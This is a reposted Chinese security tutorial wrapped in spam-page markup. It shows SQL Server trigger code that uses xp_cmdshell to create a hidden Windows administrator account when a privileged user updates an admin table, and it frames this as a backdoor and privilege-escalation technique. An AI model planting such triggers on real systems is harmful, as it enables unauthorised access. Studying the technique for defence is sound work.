<pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
    <pre id="vvttv"></pre>

      <p id="vvttv"></p>

          <p id="vvttv"></p>

                <p id="vvttv"></p>

                <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                  <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                    <p id="vvttv"></p>

                    原文地址:http://drops.wooyun.org/tips/3464

                    0x01 什么是觸發器:


                    觸發器對表進行插入、更新、刪除的時候會自動執行的特殊存儲過程。觸發器一般用在check約束更加復雜的約束上面。觸發器和普通的存儲過程的區別是:觸發器是當對某一個表進行操作。諸如:update、insert、delete這些操作的時候,系統會自動調用執行該表上對應的觸發器。SQL Server 2005中觸發器可以分為兩類:DML觸發器和DDL觸發器,其中DDL觸發器它們會影響多種數據定義語言語句而激發,這些語句有create、alter、drop語句。

                    0x02 問題描述:


                    a)通過Sqlserver的觸發器,可以利用執行者的權限執行自定義的命令。

                    b)滲透過程中可能利用的觸發器場景:在設置好觸發器以后,等待、誘使高權限用戶去觸發這個觸發器,來實現入侵、提權、留后門等目的。

                    c)Sqlserver的觸發器可以分為兩類:DML觸發器(After insert,After delete,After update和instead of)和DDL觸發器(for)。

                    實驗環境: Win2003x86 && SqlServer 2005,默認安裝Sqlserver,安裝一個開源應用siteserver,并建立test用戶,不給予服務器角色,數據庫角色僅給予dbo和public權限。并將test庫與test用戶相互映射。SqlServer的xp_cmdshell已經被恢復。

                    實驗過程: a)使用test用戶建立觸發器語句:

                    #!bash
                    SET ANSI_NULLS ON
                    GO
                    SET QUOTED_IDENTIFIER ON
                    GO                             --這些是 SQL-92 設置語句,使 mssql 遵從 SQL-92 規則。
                    CREATE TRIGGER test
                       ON bairong_Administrator
                       AFTER UPDATE           /*建立一個作用于表bairong_Administrator的、
                                                類型為After update的、名為test的觸發器*/
                    AS 
                    BEGIN
                        --EXECUTE SP_ADDEXTENDEDPROC 'MASTER.DBO.XP_CMDSHELL','XPLOG70.DLL'
                               EXECUTE MASTER.DBO.XP_CMDSHELL 'net user STD 123456 /add'
                        EXECUTE MASTER.DBO.XP_CMDSHELL 'net localgroup administrators STD /add'
                               /*默認格式begin為開頭加上觸發后執行的語句,這里是利用儲存過程添加系統賬號。*/
                    END
                    GO
                    

                    enter image description here

                    b)執行UPDATE操作,是觸發器執行:

                    1)使用UPDATE語句來觸發觸發器:

                    #!bash
                    UPDATE bairong_Administrator SET [email protected]' WHERE UserName='admin';
                    

                    使用test用戶執行:

                    enter image description here

                    enter image description here

                    enter image description here

                    2)使用sa用戶執行:

                    enter image description here

                    enter image description here

                    enter image description here

                    那么這就產生一個問題了,如何利用被動觸發留后門或滲透攻擊。

                      <pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
                      <pre id="vvttv"></pre>

                        <p id="vvttv"></p>

                            <p id="vvttv"></p>

                                  <p id="vvttv"></p>

                                  <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                                    <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                                      <p id="vvttv"></p>

                                      这里只有精品视频